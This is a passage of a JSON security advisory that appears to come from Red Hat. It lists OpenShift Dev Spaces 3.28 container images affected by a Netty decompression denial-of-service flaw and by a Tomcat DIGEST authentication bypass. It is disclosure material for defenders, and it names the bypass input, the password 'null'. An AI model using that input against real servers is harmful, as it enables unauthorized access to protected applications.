"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/udi-base-rhel9@sha256:505295ab2811eb723a334501a853eb238c2ec96073f36296226d58fa12aefd3c_ppc64le",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/udi-base-rhel9@sha256:93ae4574a68c0f16acf2146ab09b56e446fd012697c1194cfa9f4ac717a300c2_arm64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/udi-rhel9@sha256:2f672c4b1bc77639a5ccf2f7f923691aefe2ab2e6e76de830a0727633c80af17_s390x",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/udi-rhel9@sha256:763e7470768ecf6551d9d9af7a7a48605ceafaad3e001f48ae08ce94d6facb42_ppc64le",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/udi-rhel9@sha256:80c9c0c3aa02ae7b447c33a8bb9aff07fc243b2b484db28975b79b9007612629_amd64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/udi-rhel9@sha256:8a4c7ae0ffaa1f6d3b87c60d27817a3d1636a5609cf159dce66d80c2f0ad6f9b_arm64"
]
}
],
"scores": [
{
"cvss_v3": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "HIGH",
"baseScore": 7.5,
"baseSeverity": "HIGH",
"confidentialityImpact": "NONE",
"integrityImpact": "NONE",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"version": "3.1"
},
"products": [
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/code-rhel9@sha256:7e20cd1d638296bcab93a704bfce3ff7cf6c0f7e632e07e69fcacfedf9e8b120_arm64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/code-rhel9@sha256:83e1013b0ce89c1f4fc0038c1cb7eab2fd541a6fb1de6a0596fe669a76cde1f4_s390x",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/code-rhel9@sha256:9d47eee451c3d7c7a0c2d83824849ac4053110107997a41df26fe28f9b4749de_ppc64le",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/code-rhel9@sha256:bb9e332650eb73ce20accc25d8bc73bb935e39e0bc6a9b0e7b163707ae25ce6f_amd64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/code-sshd-rhel9@sha256:0ce3e6baa0af251b5ae5e8cc64de363aa144c420e1416a2a7bf522aefe0b6dd3_ppc64le",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/code-sshd-rhel9@sha256:324758a4c214f743ba3f38eee3ae2c3f42eac80ac4c10801e103fc531d73cf51_arm64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/code-sshd-rhel9@sha256:82994d108c21e3f53c2d87bdec8ddcdb0c0f81c7f1ed93ac996fe83046ea8ed1_s390x",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/code-sshd-rhel9@sha256:b1b3d7416bc5c1609fa890229fc0a0809bc1906813bb4834f57dc610f88974c1_amd64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/configbump-rhel9@sha256:5bcd49999db0f7ac5fbc2461c7ac50dec267ee8b4f64c95bdcd746188ab0bfa0_amd64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/configbump-rhel9@sha256:62ecbc41b3f1d3cd81e9593fdacac8397d1fc3f616717b247346ac218b7a2ff7_s390x",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/configbump-rhel9@sha256:7ee3d2e13995479495aa2a2f3b7a8f8133f7b69d0e753b00e3fe2ee00416b3a9_ppc64le",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/configbump-rhel9@sha256:b52e83ecc17aefda4a83671c267b3086bb5f92d78259c3e3b2b389042bac7230_arm64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/dashboard-rhel9@sha256:1cef563af30567f7aba3baeb6fa94494f93ac07350a23fabaa67d079f780f640_amd64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/dashboard-rhel9@sha256:ae7dc192f8ca8c78dc6eb12ef2846b45057e22e183207743aad9261fb5adcb6e_s390x",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/dashboard-rhel9@sha256:ca07c7ae5cdcf93df21348d92c4828e4615b324f2f765907b3459f0d5090c628_ppc64le",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/dashboard-rhel9@sha256:dee20a799ccf5bae94ed50fd2d79ea162cd7384990427db93281fe590d6c7767_arm64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/devspaces-operator-bundle@sha256:f78d91e983f0f8be019382c2fb620a655bf9f8204bd839e9bfb9c35e1ab8fc90_amd64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/devspaces-rhel9-operator@sha256:4757ac1e8c5a53e2d9a7ce896dbcc1232806a47a29470285c6fee9778a2f0b25_arm64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/devspaces-rhel9-operator@sha256:4e4a72be08cf691ee40dc79d2e625a5b59cf709e15219537ee04a1f03a3df23e_ppc64le",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/devspaces-rhel9-operator@sha256:a5b3c16ca82c2585debbef262d8de80bb8566384c916915d9fce92d233268d1c_s390x",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/devspaces-rhel9-operator@sha256:dd4b506d04a2e7be2c62c53a7e1f60fe828ba7f0fc2aab7f6a752f1a4c4e699b_amd64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/imagepuller-rhel9@sha256:21d1288562fc757e4714cde2c253c077fba1b7762ab4041e8b3f55d9da1e7b82_arm64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/imagepuller-rhel9@sha256:2423f169dcd795c9326d59d953b4507485bf2ef8971f066969dfb2ca921bdf1f_amd64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/imagepuller-rhel9@sha256:5e4c074f39614f529e79c8de011446a0b621fb189485eff0061f95f99f0950f8_s390x",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/imagepuller-rhel9@sha256:f1cf981295bdfddb68c8cb83e03da7cbec9aada7dce16586a1508351b11c2e73_ppc64le",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/jetbrains-ide-rhel9@sha256:0de97d2e0e6589cfd3889eca0284154e857c4deef4ab45420e0d75bfc8030252_amd64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/jetbrains-ide-rhel9@sha256:12a042cb9e94c6502b61c6d08a49bc8b81f8d3e23932b08c29566906508801d8_ppc64le",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/jetbrains-ide-rhel9@sha256:25137cf516214eac04d5f1fd2ad9a38658e8fc741600b50b4c44f00db437cf01_s390x",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/jetbrains-ide-rhel9@sha256:5cb0df6d628f764eead0f67206b7251b737932ae04f81dd8c1fd416d2c1be455_arm64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/multicluster-redirector-rhel9@sha256:060059363ac7718e9599e0612c95b583b563fac5a6616dfecc9c42413b2a3f56_arm64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/multicluster-redirector-rhel9@sha256:1bd73bae94af4a5be1b62e555df3a1b863f22c427f95d2bbbd24e4ffcce7a264_ppc64le",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/multicluster-redirector-rhel9@sha256:baff02ec968933899873d989d8faf4fb27aedcbca5406009408638678a832b96_amd64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/multicluster-redirector-rhel9@sha256:e9347202b67b4a2ad17b820af7148d4473764996ce1368d5460b6fff2d79935a_s390x",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/openvsx-rhel9@sha256:3eda021137370af8e8cf2c996a7a10733824f1d23e56534efd4f46aa40ce7777_arm64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/openvsx-rhel9@sha256:af397f83a7394b676299501672623ca9c01b8351db0d73531b0bf325e55558f6_ppc64le",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/openvsx-rhel9@sha256:b73dc3b1ac96a877aba609233dc0ae60685716b272e3dc1f8db59c23c438049d_amd64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/openvsx-rhel9@sha256:cef4269f4d91814bc144c94718d6aa59c4e03eab341eebf87ec05e38e7b7e49f_s390x",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/pluginregistry-rhel9@sha256:06d061cdda5ac9ddd48647c2c86b5ceb5a5f25acc7e314ebb319a690af588209_arm64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/pluginregistry-rhel9@sha256:80842e498a91358d73a511ec25acc2a6d26dca76c9f775108778700e8541c252_amd64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/pluginregistry-rhel9@sha256:a062fd2a510100fc03a5f14102104a34b2e24bddc5661ac95ed39dad6a5f46b9_s390x",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/pluginregistry-rhel9@sha256:fbdf611c5aac4e33644ed8eb5a72b88b5c5a6690f24a64a3cff7002a483827d8_ppc64le",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/server-rhel9@sha256:4f63b37a50013481f95ca70ea3e0baf257601aa86ba6dd3efe5ad039b3170f04_arm64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/server-rhel9@sha256:56f4b3132a1785e7a323fc9fb5e1d2040d30a7c8d81fd00a42d619a8881e9492_amd64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/server-rhel9@sha256:e2d0551322d379e77a72218fb37244f8a187e6ff52ae6f61e7b673c2c23ce39f_ppc64le",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/server-rhel9@sha256:f8200f2b4b8c5cb5a5aef1fa6f8f15297cb720512a0df784629129afc0d5810a_s390x",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/traefik-rhel9@sha256:0912cc02b70a7cc6895cdfde15647865de99f03880715c6b8e584adf70c14707_arm64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/traefik-rhel9@sha256:1d4269b06d396a7ec1e952daa47a4bd5b00915d6d0cd5a3270fe471a6a75517b_s390x",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/traefik-rhel9@sha256:1e2b5bff8974b54038cf635faaa293458bcfa2e75a9ee57e2712b30d9b35e0ac_ppc64le",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/traefik-rhel9@sha256:6798e67f7d39b831b6c947a50c4420c9d92160079bbd2d62d07b9f991be4abfd_amd64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/udi-base-rhel10@sha256:1a56d8592fe048ebe0c1549ec0249a5f61842cbb5c58545649b394df98fbae06_s390x",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/udi-base-rhel10@sha256:224939e501ffed4ffe09a5198138486e72b04d1486787a6c4c3abee8cd7dffba_ppc64le",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/udi-base-rhel10@sha256:c10a24ed873306c38e5d7aa96d9ffa9b71b2e6dac2ee18f557af008ef460d708_amd64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/udi-base-rhel10@sha256:cb73c78e8214996408490b36f176be3b6d0047a116f705478afd162c8260292d_arm64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/udi-base-rhel9@sha256:06172d66fc92096c6d1b517ac2edfc35e06255859152ea8aa83ea57bb789bb0b_s390x",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/udi-base-rhel9@sha256:2268f482a70624ca1670675df27f0a6a4e7ea41669f021059ebafbc0465d5411_amd64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/udi-base-rhel9@sha256:505295ab2811eb723a334501a853eb238c2ec96073f36296226d58fa12aefd3c_ppc64le",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/udi-base-rhel9@sha256:93ae4574a68c0f16acf2146ab09b56e446fd012697c1194cfa9f4ac717a300c2_arm64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/udi-rhel9@sha256:2f672c4b1bc77639a5ccf2f7f923691aefe2ab2e6e76de830a0727633c80af17_s390x",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/udi-rhel9@sha256:763e7470768ecf6551d9d9af7a7a48605ceafaad3e001f48ae08ce94d6facb42_ppc64le",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/udi-rhel9@sha256:80c9c0c3aa02ae7b447c33a8bb9aff07fc243b2b484db28975b79b9007612629_amd64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/udi-rhel9@sha256:8a4c7ae0ffaa1f6d3b87c60d27817a3d1636a5609cf159dce66d80c2f0ad6f9b_arm64"
]
}
],
"threats": [
{
"category": "impact",
"details": "Important"
}
],
"title": "netty: io.netty/netty-codec-http: io.netty/netty-codec-http2: Netty: Denial of Service via unbounded memory allocation in HTTP content decompression"
},
{
"cve": "CVE-2026-43512",
"cwe": {
"id": "CWE-303",
"name": "Incorrect Implementation of Authentication Algorithm"
},
"discovery_date": "2026-05-12T16:01:26.008892+00:00",
"flags": [
{
"label": "vulnerable_code_not_present",
"product_ids": [
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/code-rhel9@sha256:7e20cd1d638296bcab93a704bfce3ff7cf6c0f7e632e07e69fcacfedf9e8b120_arm64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/code-rhel9@sha256:83e1013b0ce89c1f4fc0038c1cb7eab2fd541a6fb1de6a0596fe669a76cde1f4_s390x",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/code-rhel9@sha256:9d47eee451c3d7c7a0c2d83824849ac4053110107997a41df26fe28f9b4749de_ppc64le",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/code-rhel9@sha256:bb9e332650eb73ce20accc25d8bc73bb935e39e0bc6a9b0e7b163707ae25ce6f_amd64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/code-sshd-rhel9@sha256:0ce3e6baa0af251b5ae5e8cc64de363aa144c420e1416a2a7bf522aefe0b6dd3_ppc64le",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/code-sshd-rhel9@sha256:324758a4c214f743ba3f38eee3ae2c3f42eac80ac4c10801e103fc531d73cf51_arm64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/code-sshd-rhel9@sha256:82994d108c21e3f53c2d87bdec8ddcdb0c0f81c7f1ed93ac996fe83046ea8ed1_s390x",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/code-sshd-rhel9@sha256:b1b3d7416bc5c1609fa890229fc0a0809bc1906813bb4834f57dc610f88974c1_amd64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/configbump-rhel9@sha256:5bcd49999db0f7ac5fbc2461c7ac50dec267ee8b4f64c95bdcd746188ab0bfa0_amd64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/configbump-rhel9@sha256:62ecbc41b3f1d3cd81e9593fdacac8397d1fc3f616717b247346ac218b7a2ff7_s390x",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/configbump-rhel9@sha256:7ee3d2e13995479495aa2a2f3b7a8f8133f7b69d0e753b00e3fe2ee00416b3a9_ppc64le",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/configbump-rhel9@sha256:b52e83ecc17aefda4a83671c267b3086bb5f92d78259c3e3b2b389042bac7230_arm64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/dashboard-rhel9@sha256:1cef563af30567f7aba3baeb6fa94494f93ac07350a23fabaa67d079f780f640_amd64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/dashboard-rhel9@sha256:ae7dc192f8ca8c78dc6eb12ef2846b45057e22e183207743aad9261fb5adcb6e_s390x",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/dashboard-rhel9@sha256:ca07c7ae5cdcf93df21348d92c4828e4615b324f2f765907b3459f0d5090c628_ppc64le",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/dashboard-rhel9@sha256:dee20a799ccf5bae94ed50fd2d79ea162cd7384990427db93281fe590d6c7767_arm64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/devspaces-operator-bundle@sha256:f78d91e983f0f8be019382c2fb620a655bf9f8204bd839e9bfb9c35e1ab8fc90_amd64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/devspaces-rhel9-operator@sha256:4757ac1e8c5a53e2d9a7ce896dbcc1232806a47a29470285c6fee9778a2f0b25_arm64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/devspaces-rhel9-operator@sha256:4e4a72be08cf691ee40dc79d2e625a5b59cf709e15219537ee04a1f03a3df23e_ppc64le",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/devspaces-rhel9-operator@sha256:a5b3c16ca82c2585debbef262d8de80bb8566384c916915d9fce92d233268d1c_s390x",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/devspaces-rhel9-operator@sha256:dd4b506d04a2e7be2c62c53a7e1f60fe828ba7f0fc2aab7f6a752f1a4c4e699b_amd64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/imagepuller-rhel9@sha256:21d1288562fc757e4714cde2c253c077fba1b7762ab4041e8b3f55d9da1e7b82_arm64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/imagepuller-rhel9@sha256:2423f169dcd795c9326d59d953b4507485bf2ef8971f066969dfb2ca921bdf1f_amd64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/imagepuller-rhel9@sha256:5e4c074f39614f529e79c8de011446a0b621fb189485eff0061f95f99f0950f8_s390x",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/imagepuller-rhel9@sha256:f1cf981295bdfddb68c8cb83e03da7cbec9aada7dce16586a1508351b11c2e73_ppc64le",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/jetbrains-ide-rhel9@sha256:0de97d2e0e6589cfd3889eca0284154e857c4deef4ab45420e0d75bfc8030252_amd64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/jetbrains-ide-rhel9@sha256:12a042cb9e94c6502b61c6d08a49bc8b81f8d3e23932b08c29566906508801d8_ppc64le",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/jetbrains-ide-rhel9@sha256:25137cf516214eac04d5f1fd2ad9a38658e8fc741600b50b4c44f00db437cf01_s390x",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/jetbrains-ide-rhel9@sha256:5cb0df6d628f764eead0f67206b7251b737932ae04f81dd8c1fd416d2c1be455_arm64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/multicluster-redirector-rhel9@sha256:060059363ac7718e9599e0612c95b583b563fac5a6616dfecc9c42413b2a3f56_arm64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/multicluster-redirector-rhel9@sha256:1bd73bae94af4a5be1b62e555df3a1b863f22c427f95d2bbbd24e4ffcce7a264_ppc64le",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/multicluster-redirector-rhel9@sha256:baff02ec968933899873d989d8faf4fb27aedcbca5406009408638678a832b96_amd64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/multicluster-redirector-rhel9@sha256:e9347202b67b4a2ad17b820af7148d4473764996ce1368d5460b6fff2d79935a_s390x",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/openvsx-rhel9@sha256:3eda021137370af8e8cf2c996a7a10733824f1d23e56534efd4f46aa40ce7777_arm64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/openvsx-rhel9@sha256:af397f83a7394b676299501672623ca9c01b8351db0d73531b0bf325e55558f6_ppc64le",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/openvsx-rhel9@sha256:b73dc3b1ac96a877aba609233dc0ae60685716b272e3dc1f8db59c23c438049d_amd64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/openvsx-rhel9@sha256:cef4269f4d91814bc144c94718d6aa59c4e03eab341eebf87ec05e38e7b7e49f_s390x",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/pluginregistry-rhel9@sha256:06d061cdda5ac9ddd48647c2c86b5ceb5a5f25acc7e314ebb319a690af588209_arm64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/pluginregistry-rhel9@sha256:80842e498a91358d73a511ec25acc2a6d26dca76c9f775108778700e8541c252_amd64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/pluginregistry-rhel9@sha256:a062fd2a510100fc03a5f14102104a34b2e24bddc5661ac95ed39dad6a5f46b9_s390x",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/pluginregistry-rhel9@sha256:fbdf611c5aac4e33644ed8eb5a72b88b5c5a6690f24a64a3cff7002a483827d8_ppc64le",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/traefik-rhel9@sha256:0912cc02b70a7cc6895cdfde15647865de99f03880715c6b8e584adf70c14707_arm64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/traefik-rhel9@sha256:1d4269b06d396a7ec1e952daa47a4bd5b00915d6d0cd5a3270fe471a6a75517b_s390x",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/traefik-rhel9@sha256:1e2b5bff8974b54038cf635faaa293458bcfa2e75a9ee57e2712b30d9b35e0ac_ppc64le",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/traefik-rhel9@sha256:6798e67f7d39b831b6c947a50c4420c9d92160079bbd2d62d07b9f991be4abfd_amd64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/udi-base-rhel10@sha256:1a56d8592fe048ebe0c1549ec0249a5f61842cbb5c58545649b394df98fbae06_s390x",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/udi-base-rhel10@sha256:224939e501ffed4ffe09a5198138486e72b04d1486787a6c4c3abee8cd7dffba_ppc64le",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/udi-base-rhel10@sha256:c10a24ed873306c38e5d7aa96d9ffa9b71b2e6dac2ee18f557af008ef460d708_amd64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/udi-base-rhel10@sha256:cb73c78e8214996408490b36f176be3b6d0047a116f705478afd162c8260292d_arm64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/udi-base-rhel9@sha256:06172d66fc92096c6d1b517ac2edfc35e06255859152ea8aa83ea57bb789bb0b_s390x",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/udi-base-rhel9@sha256:2268f482a70624ca1670675df27f0a6a4e7ea41669f021059ebafbc0465d5411_amd64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/udi-base-rhel9@sha256:505295ab2811eb723a334501a853eb238c2ec96073f36296226d58fa12aefd3c_ppc64le",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/udi-base-rhel9@sha256:93ae4574a68c0f16acf2146ab09b56e446fd012697c1194cfa9f4ac717a300c2_arm64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/udi-rhel9@sha256:2f672c4b1bc77639a5ccf2f7f923691aefe2ab2e6e76de830a0727633c80af17_s390x",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/udi-rhel9@sha256:763e7470768ecf6551d9d9af7a7a48605ceafaad3e001f48ae08ce94d6facb42_ppc64le",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/udi-rhel9@sha256:80c9c0c3aa02ae7b447c33a8bb9aff07fc243b2b484db28975b79b9007612629_amd64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/udi-rhel9@sha256:8a4c7ae0ffaa1f6d3b87c60d27817a3d1636a5609cf159dce66d80c2f0ad6f9b_arm64"
]
}
],
"ids": [
{
"system_name": "Red Hat Bugzilla ID",
"text": "2476511"
}
],
"notes": [
{
"category": "description",
"text": "A flaw was found in Apache Tomcat. When DIGEST authentication was configured, any user not known to the configured Realm would be authenticated if they presented the password \"null\". This allows a remote attacker to bypass security controls.",
"title": "Vulnerability description"
},
{
"category": "summary",
"text": "tomcat-coyote: Apache Tomcat: Authentication bypass via digest authentication",
"title": "Vulnerability summary"
},
{
"category": "other",
"text": "This Moderate flaw in Apache Tomcat allows an authentication bypass when DIGEST authentication is configured. An attacker can authenticate as any unknown user by providing the password \u0027null\u0027, potentially gaining unauthorized access to applications protected by DIGEST authentication. Red Hat products are only affected if they are configured to use DIGEST authentication, which is not a common, out of the box and expected configuration for Production environments. \n\nFurthermore, because the unknown user is not mapped to any valid realm roles, their access is still restricted by standard application authorization constraints, significantly limiting the actual impact.\n\nThe unknown user is not mapped to any existing user, which means, it does not steal credentials nor impersonate an existing user. This new user is expected to have the minimum possible authentication and authorization range within the realm inherited roles.",
"title": "Statement"
},
{
"category": "general",
"text": "The CVSS score(s) listed for this vulnerability do not reflect the associated product\u0027s status, and are included for informational purposes to better understand the severity of this vulnerability.",
"title": "CVSS score applicability"
}
],
"product_status": {
"fixed": [
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/server-rhel9@sha256:4f63b37a50013481f95ca70ea3e0baf257601aa86ba6dd3efe5ad039b3170f04_arm64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/server-rhel9@sha256:56f4b3132a1785e7a323fc9fb5e1d2040d30a7c8d81fd00a42d619a8881e9492_amd64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/server-rhel9@sha256:e2d0551322d379e77a72218fb37244f8a187e6ff52ae6f61e7b673c2c23ce39f_ppc64le",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/server-rhel9@sha256:f8200f2b4b8c5cb5a5aef1fa6f8f15297cb720512a0df784629129afc0d5810a_s390x"
],
"known_not_affected": [
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/code-rhel9@sha256:7e20cd1d638296bcab93a704bfce3ff7cf6c0f7e632e07e69fcacfedf9e8b120_arm64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/code-rhel9@sha256:83e1013b0ce89c1f4fc0038c1cb7eab2fd541a6fb1de6a0596fe669a76cde1f4_s390x",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/code-rhel9@sha256:9d47eee451c3d7c7a0c2d83824849ac4053110107997a41df26fe28f9b4749de_ppc64le",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/code-rhel9@sha256:bb9e332650eb73ce20accc25d8bc73bb935e39e0bc6a9b0e7b163707ae25ce6f_amd64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/code-sshd-rhel9@sha256:0ce3e6baa0af251b5ae5e8cc64de363aa144c420e1416a2a7bf522aefe0b6dd3_ppc64le",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/code-sshd-rhel9@sha256:324758a4c214f743ba3f38eee3ae2c3f42eac80ac4c10801e103fc531d73cf51_arm64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/code-sshd-rhel9@sha256:82994d108c21e3f53c2d87bdec8ddcdb0c0f81c7f1ed93ac996fe83046ea8ed1_s390x",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/code-sshd-rhel9@sha256:b1b3d7416bc5c1609fa890229fc0a0809bc1906813bb4834f57dc610f88974c1_amd64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/configbump-rhel9@sha256:5bcd49999db0f7ac5fbc2461c7ac50dec267ee8b4f64c95bdcd746188ab0bfa0_amd64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/configbump-rhel9@sha256:62ecbc41b3f1d3cd81e9593fdacac8397d1fc3f616717b247346ac218b7a2ff7_s390x",
